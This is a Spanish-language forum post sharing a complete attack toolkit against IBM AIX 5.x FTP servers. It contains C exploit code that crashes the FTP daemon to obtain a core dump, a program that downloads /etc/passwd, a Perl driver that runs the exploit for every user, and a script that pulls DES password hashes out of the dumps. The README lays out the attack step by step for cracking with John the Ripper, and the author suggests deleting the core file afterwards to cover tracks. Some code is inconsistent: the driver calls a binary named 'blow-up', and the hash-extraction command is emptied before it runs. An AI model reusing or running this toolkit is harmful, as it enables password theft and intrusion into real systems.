[CODE|ATAQUE REMOTO] ub-aix-ftpd-attack IBM AIX 5.1, 5.2, 5.3, quiza anteriores

Iniciado por D4RIO, 21 Enero 2012, 18:04 PM

0 Miembros y 1 Visitante están viendo este tema.

D4RIO

Hola, les dejo el código que hice para un ataque completo basado en el exploit de Kingcope. El volcado es de los hashes DES de AIX, los mismos que están en /etc/security/passwd.

Version: Version de prueba 1.0
Lenguajes: C, Perl
Sistemas Vulnerables: IBM AIX 5l - 5.1, 5.2, 5.3 y probablemente 4.X
Parche Existente: Si, http://aix.software.ibm.com/aix/efixes/security/ftpd_advisory.asc
Vulnerabilidad descubierta por: Kingcope
Nivel de compromiso: Todos los usuarios con FTP ven comprometido su hash DES, passwords fuertes no se ven comprometidos a corto plazo (John the Ripper tardará un poco más)
Información necesaria: Un usuario y password válido en el sistema. En algunos funcionará un default.
Datos adicionales: Estos sistemas también tienen una configuración por defecto de Sendmail que permite usarlos como Relay sin privilegios para el envío de correo electrónico.

Es una versión de prueba, no la probé luego de los últimos cambios. Se podría intentar borrar el core luego del ataque.


MAY THE SOURCE BE WITH YOU...


Archivo: README
This attack is based in:

* IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
*
* Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
*
* bug found & exploited by Kingcope

Credits for the vulnerability to Kingcope

Complete attack step by step:

 a) Build (make) in the LHOST (you) in a NEW directory
 b) Having a system's user/pass for AIX, use 'get-passwd' and get /etc/passwd by FTP
 c) Having /etc/passwd as 'passwd' in your LHOST, run ub-aix-ftpd-attack.pl

    This script reads passwd file getting usernames. Then, it uses provided valid
    user/pass for the exploit, wich dumps a 'core' forcing a segmentation fault in
    'FTPd'. Unpatched systems will dump core files containing the last failed
    login hash, from /etc/security/passwd, so we filled memory with our victim user.

    But the Kingcope exploit gets lots of strings from core files (by using 'strings' command),
    so this script uses lots of dumps then...
 d) Finally, you will get REAL hashes for users, by comparison, kicking off unusable
    strings from dumps, and getting a real copy of /etc/security/passwd for every
    user configured to FTPd... even root if it can FTP. To do this, use provided ukosh.pl

Now, a first eye on the passwords is done by running John the Ripper and stopping it after weakest passwords are revealed.

And you have all of the weak passwords instantly. Then, take a look at the retrieved passwd file
to see if you have some admin or potential staff member, or any interesting user.

If you don't have the pass, but the hash, use John the Ripper in a cluster, get some dictionary based on the system, you will crack it since... AIX cuts long passwords to 8 digits for the DES hash ;)



Archivo: Makefile
# it's for AIX (xlc), LINUX (gcc), or any other, just change CC
all: get-passwd exploit
CC:=gcc

get-passwd: get-passwd.c
@echo ">> compiling [$(CC)] $@"
@$(CC) -o get-passwd get-passwd.c

exploit: exploit.c
@echo ">> compiling [$(CC)] $@"
@$(CC) -o exploit exploit.c

clean:
-rm exploit get-passwd



Archivo: exploit.c
/*
* IBM AIX 5l FTPd Remote DES Hash Exploit -- Advanced 'Datacenter' Edition :>
*
* Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
*
* bug found & exploited by Kingcope
* exploit modified by UnsafeBit to fit full system passwords attack
*
* Version 3.0 - January 2012
* ----------------------------------------------------------------------------
* Description:                                                               -
* The AIX 5l FTP-Server crashes when an overly long NLST command is supplied -
* For example: NLST ~AAAAA...A (2000 A's should be enough)                   -
* The fun part here is that it creates a coredump file in the current        -
* directory if it is set writable by the logged in user.                     -
* The goal of the exploit is to get the DES encrypted user hashes            -
* off the server. These can be later cracked with JtR.                       -
* This is accomplished by populating the memory with logins of the user      -
* we would like the encrypted hash from. Logging in three times with the     -
* target username should be enough so that the DES hash is included in the   -
* 'core' file.                                                               -
* The FTPd banner looks like below.                                          -
* 220 AIX5l FTP-Server (Version 4.1 Tue May 29 11:57:21 CDT 2001) ready.     -
* 220 AIX5l FTP server (Version 4.1 Wed Mar 2 15:52:50 CST 2005) ready.      -
* ----------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <fcntl.h>

#define RIDICULOUS_PASSWD "QqQqQqQq"

#define USAGE_STRING \
"%s <-r rhost(victim)> <-l lhost(you)> [-p port] [-u username] [-k password]"\
" [-d some rhost writable directory] [-c user to crack] [-s use 'LIST' command on AIX 5.3]\n"

int createconnection(char *target, char *targetport);
void sockgetline(int socketd);
void putline(int socketd, char *out);
void usage(char *exe);

static int exploit_oops;

void exploit_say(char *sayit)
{
fprintf(stderr,"  + %s\n", sayit);
}

void exploit_failed(char *sayit)
{
fprintf(stderr,"  - %s\n", sayit);
exploit_oops++;
}

char in[8096];
char out[8096];

int main(int argc, char *argv[])
{
extern int optind;
extern char *optarg;
int haveuser=0,havepassword=0;
int socketd,s2,nsock;
int c,k,len;
int fd;

exploit_oops = 0;

char *target = NULL;
char *username = "ftp";
char *password = "guest";
char *writeto = "pub";
char *crackme = "root";
char *targetport = "21";
int uselist = 0;
char *myip = NULL;
char *as = NULL;
int octet_in[4], port;
struct sockaddr_in yo, cli;
char *oct = NULL;

while ((c = getopt(argc, argv, "r:l:p:u:k:d:c:s")) != EOF) {
switch(c) {
case 'r':
target = (char*)malloc(strlen(optarg)+1);
strcpy(target, optarg);
break;
case 'l':
myip = (char*)malloc(strlen(optarg)+1);
strcpy(myip, optarg);
break;
case 'p':
targetport = (char*)malloc(strlen(optarg)+1);
strcpy(targetport, optarg);
break;
case 'u':
username = (char*)malloc(strlen(optarg)+1);
strcpy(username, optarg);
haveuser = 1;
break;
case 'k':
password = (char*)malloc(strlen(optarg)+1);
strcpy(password, optarg);
havepassword = 1;
break;
case 'd':
writeto = (char*)malloc(strlen(optarg)+1);
strcpy(writeto, optarg);
break;
case 'c':
crackme = (char*)malloc(strlen(optarg)+1);
strcpy(crackme, optarg);
break;
case 's':
uselist = 1;
break;
default:
usage(argv[0]);
}
}

if (target == NULL || myip == NULL)
usage(argv[0]);

if ((haveuser && !havepassword) || (!haveuser && havepassword)) {
usage(argv[0]);
}

socketd = createconnection(target, targetport);
sockgetline(socketd);

exploit_say("forcing poor FTPd to load DES hash in memory");

for (k=0;k<3;k++) {
snprintf(out, sizeof out, "USER %s\r\n", crackme);
putline(socketd, out);
sockgetline(socketd);
snprintf(out, sizeof out, "PASS "RIDICULOUS_PASSWD"\r\n");
putline(socketd,out);
sockgetline(socketd);
}

snprintf(out, sizeof out, "USER %s\r\n", username);
putline(socketd, out);
sockgetline(socketd);
snprintf(out, sizeof out, "PASS %s\r\n", password);
putline(socketd,out);
sockgetline(socketd);
sockgetline(socketd);

exploit_say("injecting venom");

snprintf(out, sizeof out, "CWD %s\r\n", writeto);
putline(socketd, out);
sockgetline(socketd);

as = (char*)malloc(2000);
memset(as, 'A', 2000);
as[2000-1] = 0;

if (!uselist) {
snprintf(out, sizeof out, "NLST ~%s\r\n", as);
} else {
/* AIX 5.3 trigger - thanks to karol */
snprintf(out, sizeof out, "LIST ~%s\r\n", as);
}
putline(socketd, out);

memset(in, '\0', sizeof in);
if (recv(socketd, in, sizeof in, 0) < 1) {
exploit_say("exploit succeeded!");
} else {
exploit_say("trigger seems to have failed, proceeding anyways (sometimes, it will work anyways)");
}
sleep(5);

close(socketd);

socketd = createconnection(target, targetport);
sockgetline(socketd);

snprintf(out, sizeof out, "USER %s\r\n", username);
putline(socketd, out);
sockgetline(socketd);
snprintf(out, sizeof out, "PASS %s\r\n", password);
putline(socketd,out);
sockgetline(socketd);
sockgetline(socketd);

snprintf(out, sizeof out, "CWD %s\r\n", writeto);
putline(socketd, out);
sockgetline(socketd);

exploit_say("getting core file");

snprintf(out, sizeof out, "TYPE I\r\n");
putline(socketd, out);
sockgetline(socketd);

port = getpid() + 1024;
len = sizeof(cli);

bzero(&yo, sizeof(yo));
yo.sin_family = AF_INET;
yo.sin_port=htons(port);
yo.sin_addr.s_addr = htonl(INADDR_ANY);

oct=(char *)strtok(myip,".");
octet_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[3]=atoi(oct);

snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
putline(socketd, out);
sockgetline(socketd);

if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
return -1;
}

if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) {
perror("bind");
close(s2);
exit(1);
}

if (listen(s2, 10) < 0) {
perror("listen");
close(s2);
exit(1);
}

snprintf(out, sizeof out, "RETR core\r\n");
putline(socketd, out);
sockgetline(socketd);
if (strstr(in, "150") == NULL) {
exploit_failed("core file not found... terminating");
close(socketd);
exit(1);
}

fd = open("core", O_WRONLY | O_CREAT);
if (fd == -1) {
perror("open on local core file");
close(socketd);
exit(1);
}

sleep(1);

if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) {
perror("accept");
close(socketd);
exit(1);
}

do {
k = recv(nsock, in, sizeof in, 0);
if (k < 1) break;
write(fd, in, k);
} while (k > 0);

close(nsock);
close(fd);
close(socketd);

exploit_say("extracting DES hashes");

char strings_command[255];
memset(strings_command, 0, sizeof strings_command);
sprintf(strings_command, "chmod 754 core");
system(strings_command);

memset(strings_command, 0, sizeof strings_command);
fprintf(stderr, "+ command: '%s'\n", strings_command);
system(strings_command);

return 0;
}

int createconnection(char *target, char *targetport) {
struct addrinfo hints, *res;
int socketd;

memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;

if (getaddrinfo(target, targetport, &hints, &res)) {
perror("getaddrinfo");
exit(1);
}

socketd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
if (socketd < 0) {
perror("socket");
exit(1);  
}

if (connect(socketd, res->ai_addr, res->ai_addrlen) < 0) {
perror("connect");
exit(1);
}

return socketd;
}

void sockgetline(int socketd)
{
memset(in, '\0', sizeof in);
if (recv(socketd, in, sizeof in, 0) < 1) {
perror("recv");
close(socketd);
exit(1);
}
}

void putline(int socketd, char *out) {

if (send(socketd, out, strlen(out), 0) == -1) {
perror("send");
close(socketd);
exit(1);
}
}

void usage(char *exe)
{
fprintf(stderr, USAGE_STRING, exe);
exit(0);
}



Archivo: get-passwd.c
/*
* IBM AIX 5l FTPd Remote DES Hash Exploit
* This file will use a known user to get /etc/passwd file
*
* Should work on IBM AIX 5.1,5.2,5.3! probably on 4.X too
*
* Version 1.0 - Jan 2012
* ----------------------------------------------------------------------------
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <fcntl.h>

#define USAGE_STRING \
"%s <-r rhost(victim)> <-l lhost(you)> [-p port] [-u username] [-k password]"

int createconnection(char *target, char *targetport);
void sockgetline(int socketd);
void putline(int socketd, char *out);
void usage(char *exe);

static int exploit_oops;

void exploit_say(char *sayit)
{
fprintf(stderr,"  + %s\n", sayit);
}

void exploit_failed(char *sayit)
{
fprintf(stderr,"  - %s\n", sayit);
exploit_oops++;
}

char in[8096];
char out[8096];

int main(int argc, char *argv[])
{
extern int optind;
extern char *optarg;
int haveuser=0,havepassword=0;
int socketd,s2,nsock;
int c,k,len;
int fd;

exploit_oops = 0;

char *target = NULL;
char *username = "ftp";
char *password = "guest";
char *writeto = "pub";
char *targetport = "21";
char *myip = NULL;
char *as = NULL;
int octet_in[4], port;
struct sockaddr_in yo, cli;
char *oct = NULL;

while ((c = getopt(argc, argv, "r:l:p:u:k:")) != EOF) {
switch(c) {
case 'r':
target = (char*)malloc(strlen(optarg)+1);
strcpy(target, optarg);
break;
case 'l':
myip = (char*)malloc(strlen(optarg)+1);
strcpy(myip, optarg);
break;
case 'p':
targetport = (char*)malloc(strlen(optarg)+1);
strcpy(targetport, optarg);
break;
case 'u':
username = (char*)malloc(strlen(optarg)+1);
strcpy(username, optarg);
haveuser = 1;
break;
case 'k':
password = (char*)malloc(strlen(optarg)+1);
strcpy(password, optarg);
havepassword = 1;
break;
default:
usage(argv[0]);
}
}

if (target == NULL || myip == NULL)
usage(argv[0]);

if ((haveuser && !havepassword) || (!haveuser && havepassword)) {
usage(argv[0]);
}

socketd = createconnection(target, targetport);
sockgetline(socketd);
snprintf(out, sizeof out, "USER %s\r\n", username);
putline(socketd, out); /* username */
sockgetline(socketd);
snprintf(out, sizeof out, "PASS %s\r\n", password);
putline(socketd,out);  /* passwd */
sockgetline(socketd);
sockgetline(socketd);

exploit_say("RETRIEVING /etc/passwd");

snprintf(out, sizeof out, "CWD /etc\r\n");
putline(socketd, out);
sockgetline(socketd);

snprintf(out, sizeof out, "TYPE I\r\n");
putline(socketd, out);
sockgetline(socketd);

port = getpid() + 1024;
len = sizeof(cli);

bzero(&yo, sizeof(yo));
yo.sin_family = AF_INET;
yo.sin_port=htons(port);
yo.sin_addr.s_addr = htonl(INADDR_ANY);

oct=(char *)strtok(myip,".");
octet_in[0]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[1]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[2]=atoi(oct);
oct=(char *)strtok(NULL,".");
octet_in[3]=atoi(oct);

snprintf(out, sizeof out, "PORT %d,%d,%d,%d,%d,%d\r\n", octet_in[0], octet_in[1], octet_in[2], octet_in[3], port / 256, port % 256);
putline(socketd, out);
sockgetline(socketd);

if ((s2=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
return -1;
}

if ((bind(s2, (struct sockaddr *) &yo, sizeof(yo))) < 0) {
perror("bind");
close(s2);
exit(1);
}

if (listen(s2, 10) < 0) {
perror("listen");
close(s2);
exit(1);
}

snprintf(out, sizeof out, "RETR passwd\r\n");
putline(socketd, out);
sockgetline(socketd);
if (strstr(in, "150") == NULL) {
exploit_failed("passwd file not found... terminating");
close(socketd);
exit(1);
}

fd = open("passwd", O_WRONLY | O_CREAT);
if (fd == -1) {
perror("open on local passwd file");
close(socketd);
exit(1);
}

sleep(1);

if ((nsock = accept(s2, (struct sockaddr *)&cli, &len)) < 0) {
perror("accept");
close(socketd);
exit(1);
}

do {
k = recv(nsock, in, sizeof in, 0);
if (k < 1) break;
write(fd, in, k);
} while (k > 0);

close(nsock);
close(fd);
close(socketd);

return 0;
}

int createconnection(char *target, char *targetport) {
struct addrinfo hints, *res;
int socketd;

memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;

if (getaddrinfo(target, targetport, &hints, &res)) {
perror("getaddrinfo");
exit(1);
}

socketd = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
if (socketd < 0) {
perror("socket");
exit(1);  
}

if (connect(socketd, res->ai_addr, res->ai_addrlen) < 0) {
perror("connect");
exit(1);
}

return socketd;
}

void sockgetline(int socketd)
{
memset(in, '\0', sizeof in);
if (recv(socketd, in, sizeof in, 0) < 1) {
perror("recv");
close(socketd);
exit(1);
}
}

void putline(int socketd, char *out) {

if (send(socketd, out, strlen(out), 0) == -1) {
perror("send");
close(socketd);
exit(1);
}
}

void usage(char *exe)
{
fprintf(stderr, USAGE_STRING, exe);
exit(0);
}



Archivo: ub-aix-ftpd-attack.pl
Código (perl) [Seleccionar]
#!/usr/bin/env perl


die "need arguments: <LHOST> <RHOST> <VALID_USER> <VALID_PASSWORD>" unless (scalar @ARGV eq 4);
my $F;
open F, "< passwd";
while (<F>) {
($login, $passwd, $uid, $gid,
$gcos, $home, $shell) = split(/:/);
print "+ E X P L O I T I N G   U S E R :         [$login]\n";
system("./blow-up -r $ARGV[1] -l $ARGV[0] -u $ARGV[2] -k $ARGV[3] -d /tmp -c $login");
}



Archivo: ukosh.pl
Código (perl) [Seleccionar]
#!/usr/bin/env perl
#
# 'unlock core shadows' (ukosh.pl) takes corefile 13 digit strings
# from AIX 5.2 vulnerable FTPd hashdumps and, by comparison, takes
# candidate user hashes
#
# you can do it yourself, but this script can take an /etc/passwd dump
# for thousands of users, and get hashes in a second, so you can just
# start cracking (John the Ripper in a cluster is the fastest way)
#
# %crack_user = ( username => '$',
#                 complete_list  => '@', ); # each user has lots of "maybe" passwords
our @users_data; # the array of 'crack_user' elements
our $number_of_files = 0;
our @word_hash; # array of word-times, if a word appears in almost all of the files
               # then it is a core residual string, but not a password hash

use IO::Handle;

sub map_user() {
($trash,$username) = split(/\./,$_[0]);
our $number_of_files++;
our @users_data;
my @list;
my %crack_user;
my $File;
open File, "< $_[0]" || die "cannot open $_[0]";
while (<File>) {
chomp($_);
push @list, $_ unless (/^$/);
}
close F;
$crack_user{complete_list}=\@list;
$crack_user{username}=$username;
push @users_data, \%crack_user unless ($crack_user{username}=~/^$/);
}

sub sum_word() {
my %word_times; my $found;

#print "size of array: ", scalar @word_hash, "\n"
$found=0;
die "need a word, wht! [$_[0]]\n" if $_[0] =~ /^$/;
for my $ix ( 0..scalar @word_hash ) {
if ( $word_hash[$ix]->{word} =~ /^$_[0]$/ ) {
$word_hash[$ix]->{times}++;
$found=1;
}
}
if ($found eq 0) {
if ($_[0] =~ /^$/) {
}
else {
$word_times{word}=$_[0];
$word_times{times}=1;
push @word_hash, \%word_times;
}
}
}

opendir(my $this_dir, ".") or die "cannot open current dir";

print "reading directory ";
while(readdir $this_dir) {
print ".";
flush STDOUT;
# each password file will be attended
&map_user($_) if (/^passwd\.[a-z|0-9]+$/);
}
print "\nloaded $number_of_files files\n";
print "mapping and counting words ";
closedir $this_dir;

# fills comparison hash
for $i ( 0..scalar @users_data ) {
printf ".";
flush STDOUT;
for (@{$users_data[$i]->{complete_list}}) {
&sum_word($_);
}
}

print "\nguessing /etc/security/passwd file?   }:)\n";
# for each possible line
my $SEC_PASSWD; my $CAN_WRITE=1;
open SEC_PASSWD, "> security-passwd" || $CAN_WRITE=0;

if ($CAN_WRITE eq 1) {
print "writing to file 'security-passwd'...\n";
}

print "---------------------------------------------\n";
for $i ( 0..scalar @users_data ) {
for (@{$users_data[$i]->{complete_list}}) {
for my $ix ( 0..scalar @word_hash ) {
if ($word_hash[$ix]->{word} !~ /^$/){
if ($word_hash[$ix]->{word} =~ /^$_$/){
if ($word_hash[$ix]->{times} eq 1) {
print "$users_data[$i]->{username}:$word_hash[$ix]->{word}\n";
if ($CAN_WRITE eq 1) {
print SEC_PASSWD "$users_data[$i]->{username}:$word_hash[$ix]->{word}\n";
}
}
}
}
}
}
}
close SEC_PASSWD;
print "---------------------------------------------\n";




Espero comentarios, mejoras, etc...
Saludos y Happy Hacking
OpenBSDFreeBSD